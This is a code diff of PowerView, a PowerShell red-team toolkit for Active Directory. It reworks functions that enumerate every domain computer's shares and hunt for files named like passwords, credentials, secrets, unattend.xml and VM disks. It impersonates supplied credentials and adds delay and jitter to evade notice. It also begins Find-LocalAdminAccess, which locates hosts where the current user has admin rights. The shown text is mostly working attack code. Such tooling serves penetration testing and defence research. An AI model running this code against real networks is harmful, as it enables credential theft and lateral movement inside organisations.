+ Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads"
- .PARAMETER ComputerName
+ # if we're using threading, kick off the script block with New-ThreadedFunction
+ $ScriptParams = @{
+ 'CheckShareAccess' = $CheckShareAccess
+ 'TokenHandle' = $LogonToken
+ }
- Host array to enumerate, passable on the pipeline.
+ # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
+ New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
+ }
- .PARAMETER ComputerFile
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
+ }
+ }
+}
- File of hostnames/IPs to search.
- .PARAMETER ComputerFilter
+function Find-InterestingDomainShareFile {
+<#
+.SYNOPSIS
- Host filter name to query AD for, wildcards accepted.
+Searches for files matching specific criteria on readable shares
+in the domain.
- .PARAMETER ComputerADSpath
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction
- The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.DESCRIPTION
- .PARAMETER ShareList
+This function enumerates all machines on the current (or specified) domain
+using Get-DomainComputer, and enumerates the available shares for each
+machine with Get-NetShare. It will then use Find-InterestingFile on each
+readhable share, searching for files marching specific criteria. If -Credential
+is passed, then Invoke-UserImpersonation is used to impersonate the specified
+user before enumeration, reverting after with Invoke-RevertToSelf.
- List if \\HOST\shares to search through.
+.PARAMETER ComputerName
- .PARAMETER Terms
+Specifies an array of one or more hosts to enumerate, passable on the pipeline.
+If -ComputerName is not passed, the default behavior is to enumerate all machines
+in the domain returned by Get-DomainComputer.
- Terms to search for.
+.PARAMETER ComputerDomain
- .PARAMETER OfficeDocs
+Specifies the domain to query for computers, defaults to the current domain.
- Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
+.PARAMETER ComputerLDAPFilter
- .PARAMETER FreshEXEs
+Specifies an LDAP query string that is used to search for computer objects.
- Switch. Find .EXEs accessed within the last week.
+.PARAMETER ComputerSearchBase
- .PARAMETER LastAccessTime
+Specifies the LDAP source to search through for computers,
+e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
- Only return files with a LastAccessTime greater than this date value.
+.PARAMETER ComputerOperatingSystem
- .PARAMETER LastWriteTime
+Search computers with a specific operating system, wildcards accepted.
- Only return files with a LastWriteTime greater than this date value.
+.PARAMETER ComputerServicePack
- .PARAMETER CreationTime
+Search computers with a specific service pack, wildcards accepted.
- Only return files with a CreationDate greater than this date value.
+.PARAMETER ComputerSiteName
- .PARAMETER IncludeC
+Search computers in the specific AD Site name, wildcards accepted.
- Switch. Include any C$ shares in recursive searching (default ignore).
+.PARAMETER Include
- .PARAMETER IncludeAdmin
+Only return files/folders that match the specified array of strings,
+i.e. @(*.doc*, *.xls*, *.ppt*)
- Switch. Include any ADMIN$ shares in recursive searching (default ignore).
+.PARAMETER SharePath
- .PARAMETER ExcludeFolders
+Specifies one or more specific share paths to search, in the form \\COMPUTER\Share
- Switch. Exclude folders from the search results.
+.PARAMETER ExcludedShares
- .PARAMETER ExcludeHidden
+Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$.
- Switch. Exclude hidden files and folders from the search results.
+.PARAMETER LastAccessTime
- .PARAMETER CheckWriteAccess
+Only return files with a LastAccessTime greater than this date value.
- Switch. Only returns files the current user has write access to.
+.PARAMETER LastWriteTime
- .PARAMETER OutFile
+Only return files with a LastWriteTime greater than this date value.
- Output results to a specified csv output file.
+.PARAMETER CreationTime
- .PARAMETER NoClobber
+Only return files with a CreationTime greater than this date value.
- Switch. Don't overwrite any existing output file.
+.PARAMETER OfficeDocs
- .PARAMETER NoPing
+Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
- Switch. Don't ping each host to ensure it's up before enumerating.
+.PARAMETER FreshEXEs
- .PARAMETER Delay
+Switch. Find .EXEs accessed within the last 7 days.
- Delay between enumerating hosts, defaults to 0
+.PARAMETER Server
- .PARAMETER Jitter
+Specifies an Active Directory server (domain controller) to bind to.
- Jitter for the host delay, defaults to +/- 0.3
+.PARAMETER SearchScope
- .PARAMETER Domain
+Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
- Domain to query for machines, defaults to the current domain.
+.PARAMETER ResultPageSize
- .PARAMETER DomainController
+Specifies the PageSize to set for the LDAP searcher object.
- Domain controller to reflect LDAP queries through.
+.PARAMETER ServerTimeLimit
- .PARAMETER SearchForest
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Search all domains in the forest for target users instead of just
- a single domain.
+.PARAMETER Tombstone
- .PARAMETER SearchSYSVOL
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.
+.PARAMETER Credential
- .PARAMETER Threads
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain and target systems.
- The maximum concurrent threads to execute.
+.PARAMETER Delay
- .PARAMETER UsePSDrive
+Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
- Switch. Mount target remote path with temporary PSDrives.
+.PARAMETER Jitter
- .EXAMPLE
+Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
- PS C:\> Invoke-FileFinder
+.PARAMETER Threads
- Find readable files on the domain with 'pass', 'sensitive',
- 'secret', 'admin', 'login', or 'unattend*.xml' in the name,
+The number of threads to use for user searching, defaults to 20.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Invoke-FileFinder -Domain testing
+Find-InterestingDomainShareFile
- Find readable files on the 'testing' domain with 'pass', 'sensitive',
- 'secret', 'admin', 'login', or 'unattend*.xml' in the name,
+Finds 'interesting' files on the current domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Invoke-FileFinder -IncludeC
+Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local')
- Find readable files on the domain with 'pass', 'sensitive',
- 'secret', 'admin', 'login' or 'unattend*.xml' in the name,
- including C$ shares.
+Finds 'interesting' files on readable shares on the specified systems.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword)
+Find-DomainShare -Domain testlab.local -Credential $Cred
- Enumerate a specified share list for files with 'accounts' or
- 'ssn' in the name, and write everything to "out.csv"
+Searches interesting files in the testlab.local domain using the specified alternate credentials.
- .LINK
- http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
+.OUTPUTS
+PowerView.FoundFile
#>
- [CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [Alias('Hosts')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.FoundFile')]
+ [CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DNSHostName')]
[String[]]
$ComputerName,
- [ValidateScript({Test-Path -Path $_ })]
- [Alias('HostList')]
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFile,
+ $ComputerDomain,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFilter,
+ $ComputerLDAPFilter,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerADSpath,
+ $ComputerSearchBase,
- [ValidateScript({Test-Path -Path $_ })]
+ [ValidateNotNullOrEmpty()]
+ [Alias('OperatingSystem')]
[String]
- $ShareList,
+ $ComputerOperatingSystem,
- [Switch]
- $OfficeDocs,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ServicePack')]
+ [String]
+ $ComputerServicePack,
- [Switch]
- $FreshEXEs,
+ [ValidateNotNullOrEmpty()]
+ [Alias('SiteName')]
+ [String]
+ $ComputerSiteName,
- [Alias('Terms')]
+ [Parameter(ParameterSetName = 'FileSpecification')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('SearchTerms', 'Terms')]
[String[]]
- $SearchTerms,
+ $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
- [ValidateScript({Test-Path -Path $_ })]
- [String]
- $TermList,
+ [ValidateNotNullOrEmpty()]
+ [ValidatePattern('\\\\')]
+ [Alias('Share')]
+ [String[]]
+ $SharePath,
- [String]
+ [String[]]
+ $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'),
+
+ [Parameter(ParameterSetName = 'FileSpecification')]
+ [ValidateNotNullOrEmpty()]
+ [DateTime]
$LastAccessTime,
- [String]
+ [Parameter(ParameterSetName = 'FileSpecification')]
+ [ValidateNotNullOrEmpty()]
+ [DateTime]
$LastWriteTime,
- [String]
+ [Parameter(ParameterSetName = 'FileSpecification')]
+ [ValidateNotNullOrEmpty()]
+ [DateTime]
$CreationTime,
+ [Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
- $IncludeC,
+ $OfficeDocs,
+ [Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
- $IncludeAdmin,
+ $FreshEXEs,
- [Switch]
- $ExcludeFolders,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
- [Switch]
- $ExcludeHidden,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
- [Switch]
- $CheckWriteAccess,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [String]
- $OutFile,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
[Switch]
- $NoClobber,
+ $Tombstone,
- [Switch]
- $NoPing,
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
- [UInt32]
+ [ValidateRange(1, 10000)]
+ [Int]
$Delay = 0,
+ [ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
- [String]
- $Domain,
-
- [String]
- $DomainController,
-
- [Switch]
- $SearchForest,
-
- [Switch]
- $SearchSYSVOL,
-
- [ValidateRange(1,100)]
[Int]
- $Threads,
-
- [Switch]
- $UsePSDrive
+ [ValidateRange(1, 100)]
+ $Threads = 20
)
- begin {
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
+ BEGIN {
+ $ComputerSearcherArguments = @{
+ 'Properties' = 'dnshostname'
+ }
+ if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
+ if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
+ if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
+ if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
+ if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
+ if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
+ if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
+
+ if ($PSBoundParameters['ComputerName']) {
+ $TargetComputers = $ComputerName
}
-
- # random object for delay
- $RandNo = New-Object System.Random
-
- Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay"
-
- $Shares = @()
-
- # figure out the shares we want to ignore
- [String[]] $ExcludedShares = @("C$", "ADMIN$")
-
- # see if we're specifically including any of the normally excluded sets
- if ($IncludeC) {
- if ($IncludeAdmin) {
- $ExcludedShares = @()
- }
- else {
- $ExcludedShares = @("ADMIN$")
- }
- }
-
- if ($IncludeAdmin) {
- if ($IncludeC) {
- $ExcludedShares = @()
- }
- else {
- $ExcludedShares = @("C$")
- }
+ else {
+ Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain'
+ $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
-
- # delete any existing output file if it already exists
- if(!$NoClobber) {
- if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
+ Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)"
+ if ($TargetComputers.Length -eq 0) {
+ throw '[Find-InterestingDomainShareFile] No hosts found to enumerate'
}
- # if there's a set of terms specified to search for
- if ($TermList) {
- ForEach ($Term in Get-Content -Path $TermList) {
- if (($Term -ne $Null) -and ($Term.trim() -ne '')) {
- $SearchTerms += $Term
- }
- }
- }
+ # the host enumeration block we're using to enumerate all servers
+ $HostEnumBlock = {
+ Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle)
- # if we're hard-passed a set of shares
- if($ShareList) {
- ForEach ($Item in Get-Content -Path $ShareList) {
- if (($Item -ne $Null) -and ($Item.trim() -ne '')) {
- # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder
- $Share = $Item.Split("`t")[0]
- $Shares += $Share
- }
- }
- }
- else {
- # if we're using a host file list, read the targets in and add them to the target list
- if($ComputerFile) {
- $ComputerName = Get-Content -Path $ComputerFile
+ if ($TokenHandle) {
+ # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
+ $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
- if(!$ComputerName) {
+ ForEach ($TargetComputer in $ComputerName) {
- if($Domain) {
- $TargetDomains = @($Domain)
- }
- elseif($SearchForest) {
- # get ALL the domains in the forest to search
- $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
+ $SearchShares = @()
+ if ($TargetComputer.StartsWith('\\')) {
+ # if a share is passed as the server
+ $SearchShares += $TargetComputer
}
else {
- # use the local domain
- $TargetDomains = @( (Get-NetDomain).name )
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
+ if ($Up) {
+ # get the shares for this host and display what we find
+ $Shares = Get-NetShare -ComputerName $TargetComputer
+ ForEach ($Share in $Shares) {
+ $ShareName = $Share.Name
+ $Path = '\\'+$TargetComputer+'\'+$ShareName
+ # make sure we get a real share name back
+ if (($ShareName) -and ($ShareName.Trim() -ne '')) {
+ # skip this share if it's in the exclude list
+ if ($ExcludedShares -NotContains $ShareName) {
+ # check if the user has access to this path
+ try {
+ $Null = [IO.Directory]::GetFiles($Path)
+ $SearchShares += $Path
+ }
+ catch {
+ Write-Verbose "[!] No access to $Path"
+ }
+ }
+ }
+ }
+ }
}
- if($SearchSYSVOL) {
- ForEach ($Domain in $TargetDomains) {
- $DCSearchPath = "\\$Domain\SYSVOL\"
- Write-Verbose "[*] Adding share search path $DCSearchPath"
- $Shares += $DCSearchPath
+ ForEach ($Share in $SearchShares) {
+ Write-Verbose "Searching share: $Share"
+ $SearchArgs = @{
+ 'Path' = $Share
+ 'Include' = $Include
}
- if(!$SearchTerms) {
- # search for interesting scripts on SYSVOL
- $SearchTerms = @('.vbs', '.bat', '.ps1')
+ if ($OfficeDocs) {
+ $SearchArgs['OfficeDocs'] = $OfficeDocs
}
- }
- else {
- [array]$ComputerName = @()
-
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for hosts"
- $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
+ if ($FreshEXEs) {
+ $SearchArgs['FreshEXEs'] = $FreshEXEs
}
-
- # remove any null target hosts, uniquify the list and shuffle it
- $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
- if($($ComputerName.Count) -eq 0) {
- throw "No hosts found!"
+ if ($LastAccessTime) {
+ $SearchArgs['LastAccessTime'] = $LastAccessTime
+ }
+ if ($LastWriteTime) {
+ $SearchArgs['LastWriteTime'] = $LastWriteTime
}
+ if ($CreationTime) {
+ $SearchArgs['CreationTime'] = $CreationTime
+ }
+ if ($CheckWriteAccess) {
+ $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess
+ }
+ Find-InterestingFile @SearchArgs
}
}
- }
- # script block that enumerates shares and files on a server
- $HostEnumBlock = {
- param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)
-
- Write-Verbose "ComputerName: $ComputerName"
- Write-Verbose "ExcludedShares: $ExcludedShares"
- $SearchShares = @()
+ if ($TokenHandle) {
+ Invoke-RevertToSelf
+ }
+ }
- if($ComputerName.StartsWith("\\")) {
- # if a share is passed as the server
- $SearchShares += $ComputerName
+ $LogonToken = $Null
+ if ($PSBoundParameters['Credential']) {
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
- # if we're enumerating the shares on the target server first
- $Up = $True
- if($Ping) {
- $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
- }
- if($Up) {
- # get the shares for this host and display what we find
- $Shares = Get-NetShare -ComputerName $ComputerName
- ForEach ($Share in $Shares) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
+ }
+ }
+ }
- $NetName = $Share.shi1_netname
- $Path = '\\'+$ComputerName+'\'+$NetName
+ PROCESS {
+ # only ignore threading if -Delay is passed
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
- # make sure we get a real share name back
- if (($NetName) -and ($NetName.trim() -ne '')) {
+ Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)"
+ Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter"
+ $Counter = 0
+ $RandNo = New-Object System.Random
- # skip this share if it's in the exclude list
- if ($ExcludedShares -NotContains $NetName.ToUpper()) {
- # check if the user has access to this path
- try {
- $Null = [IO.Directory]::GetFiles($Path)
- $SearchShares += $Path
- }
- catch {
- Write-Verbose "[!] No access to $Path"
- }
- }
- }
- }
- }
- }
+ ForEach ($TargetComputer in $TargetComputers) {
+ $Counter = $Counter + 1
- ForEach($Share in $SearchShares) {
- $SearchArgs = @{
- 'Path' = $Share
- 'SearchTerms' = $SearchTerms
- 'OfficeDocs' = $OfficeDocs
- 'FreshEXEs' = $FreshEXEs
- 'LastAccessTime' = $LastAccessTime
- 'LastWriteTime' = $LastWriteTime
- 'CreationTime' = $CreationTime
- 'ExcludeFolders' = $ExcludeFolders
- 'ExcludeHidden' = $ExcludeHidden
- 'CheckWriteAccess' = $CheckWriteAccess
- 'OutFile' = $OutFile
- 'UsePSDrive' = $UsePSDrive
- }
+ # sleep for our semi-randomized interval
+ Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
- Find-InterestingFile @SearchArgs
+ Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken
}
}
- }
-
- process {
-
- if($Threads) {
- Write-Verbose "Using threading with threads = $Threads"
+ else {
+ Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads"
- # if we're using threading, kick off the script block with Invoke-ThreadedFunction
+ # if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
- 'Ping' = $(-not $NoPing)
+ 'Include' = $Include
'ExcludedShares' = $ExcludedShares
- 'SearchTerms' = $SearchTerms
- 'ExcludeFolders' = $ExcludeFolders
'OfficeDocs' = $OfficeDocs
'ExcludeHidden' = $ExcludeHidden
'FreshEXEs' = $FreshEXEs
'CheckWriteAccess' = $CheckWriteAccess
- 'OutFile' = $OutFile
- 'UsePSDrive' = $UsePSDrive
+ 'TokenHandle' = $LogonToken
}
- # kick off the threaded script block + arguments
- if($Shares) {
- # pass the shares as the hosts so the threaded function code doesn't have to be hacked up
- Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
- }
- else {
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
- }
+ # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
+ New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
+ }
- else {
- if($Shares){
- $ComputerName = $Shares
- }
- elseif(-not $NoPing -and ($ComputerName.count -gt 1)) {
- # ping all hosts in parallel
- $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
- $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
- }
-
- Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
- $Counter = 0
-
- $ComputerName | Where-Object {$_} | ForEach-Object {
- Write-Verbose "Computer: $_"
- $Counter = $Counter + 1
-
- # sleep for our semi-randomized interval
- Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
-
- Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))"
-
- Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive
- }
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
@@ -11614,896 +16684,616 @@ function Invoke-FileFinder {
function Find-LocalAdminAccess {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Finds machines on the local domain where the current user has local administrator access.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction
- Finds machines on the local domain where the current user has
- local administrator access. Uses multithreading to
- speed up enumeration.
+.DESCRIPTION
- Author: @harmj0y
- License: BSD 3-Clause
+This function enumerates all machines on the current (or specified) domain
+using Get-DomainComputer, and for each computer it checks if the current user
+has local administrator access using Test-AdminAccess. If -Credential is passed,
+then Invoke-UserImpersonation is used to impersonate the specified user
+before enumeration, reverting after with Invoke-RevertToSelf.
- .DESCRIPTION
+Idea adapted from the local_admin_search_enum post module in Metasploit written by:
+ 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
+ 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
+ 'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
- This function finds the local domain name for a host using Get-NetDomain,
- queries the domain for all active machines with Get-NetComputer, then for
- each server it checks if the current user has local administrator
- access using Invoke-CheckLocalAdminAccess.
+.PARAMETER ComputerName
- Idea stolen from the local_admin_search_enum post module in
- Metasploit written by:
- 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
- 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
- 'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
+Specifies an array of one or more hosts to enumerate, passable on the pipeline.
+If -ComputerName is not passed, the default behavior is to enumerate all machines
+in the domain returned by Get-DomainComputer.
- .PARAMETER ComputerName
+.PARAMETER ComputerDomain
- Host array to enumerate, passable on the pipeline.
+Specifies the domain to query for computers, defaults to the current domain.
- .PARAMETER ComputerFile
+.PARAMETER ComputerLDAPFilter
- File of hostnames/IPs to search.
+Specifies an LDAP query string that is used to search for computer objects.
- .PARAMETER ComputerFilter
+.PARAMETER ComputerSearchBase
- Host filter name to query AD for, wildcards accepted.
+Specifies the LDAP source to search through for computers,
+e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
- .PARAMETER ComputerADSpath
+.PARAMETER ComputerOperatingSystem
- The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+Search computers with a specific operating system, wildcards accepted.
- .PARAMETER NoPing
+.PARAMETER ComputerServicePack
- Switch. Don't ping each host to ensure it's up before enumerating.
+Search computers with a specific service pack, wildcards accepted.
- .PARAMETER Delay
+.PARAMETER ComputerSiteName
- Delay between enumerating hosts, defaults to 0
+Search computers in the specific AD Site name, wildcards accepted.
- .PARAMETER Jitter
+.PARAMETER CheckShareAccess
- Jitter for the host delay, defaults to +/- 0.3
+Switch. Only display found shares that the local user has access to.
- .PARAMETER Domain
+.PARAMETER Server
- Domain to query for machines, defaults to the current domain.
-
- .PARAMETER DomainController
+Specifies an Active Directory server (domain controller) to bind to.
- Domain controller to reflect LDAP queries through.
+.PARAMETER SearchScope
- .PARAMETER SearchForest
+Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
- Switch. Search all domains in the forest for target users instead of just
- a single domain.
+.PARAMETER ResultPageSize
- .PARAMETER Threads
+Specifies the PageSize to set for the LDAP searcher object.
- The maximum concurrent threads to execute.
+.PARAMETER ServerTimeLimit
- .EXAMPLE
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- PS C:\> Find-LocalAdminAccess
+.PARAMETER Tombstone
- Find machines on the local domain where the current user has local
- administrator access.
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- .EXAMPLE
+.PARAMETER Credential
- PS C:\> Find-LocalAdminAccess -Threads 10
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain and target systems.
- Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded.
+.PARAMETER Delay
- .EXAMPLE
+Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
- PS C:\> Find-LocalAdminAccess -Domain testing
+.PARAMETER Jitter
- Find machines on the 'testing' domain where the current user has
- local administrator access.
+Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
- .EXAMPLE
+.PARAMETER Threads
- PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt
+The number of threads to use for user searching, defaults to 20.
- Find which machines in the host list the current user has local
- administrator access.
+.EXAMPLE
- .LINK
+Find-LocalAdminAccess
- https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
- http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/
+Finds machines in the current domain the current user has admin access to.
+
+.EXAMPLE
+
+Find-LocalAdminAccess -Domain dev.testlab.local
+
+Finds machines in the dev.testlab.local domain the current user has admin access to.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Find-LocalAdminAccess -Domain testlab.local -Credential $Cred
+
+Finds machines in the testlab.local domain that the user with the specified -Credential
+has admin access to.
+
+.OUTPUTS
+
+String
+
+Computer dnshostnames the current user has administrative access to.
#>
- [CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [Alias('Hosts')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType([String])]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DNSHostName')]
[String[]]
$ComputerName,
- [ValidateScript({Test-Path -Path $_ })]
- [Alias('HostList')]
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFile,
+ $ComputerDomain,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFilter,
+ $ComputerLDAPFilter,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerADSpath,
-
- [Switch]
- $NoPing,
+ $ComputerSearchBase,
- [UInt32]
- $Delay = 0,
-
- [Double]
- $Jitter = .3,
+ [ValidateNotNullOrEmpty()]
+ [Alias('OperatingSystem')]
+ [String]
+ $ComputerOperatingSystem,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ServicePack')]
[String]
- $Domain,
+ $ComputerServicePack,
+ [ValidateNotNullOrEmpty()]
+ [Alias('SiteName')]
[String]
- $DomainController,
+ $ComputerSiteName,
[Switch]
- $SearchForest,
+ $CheckShareAccess,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
- [ValidateRange(1,100)]
+ [ValidateRange(1, 10000)]
[Int]
- $Threads
- )
+ $ResultPageSize = 200,
- begin {
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
- # random object for delay
- $RandNo = New-Object System.Random
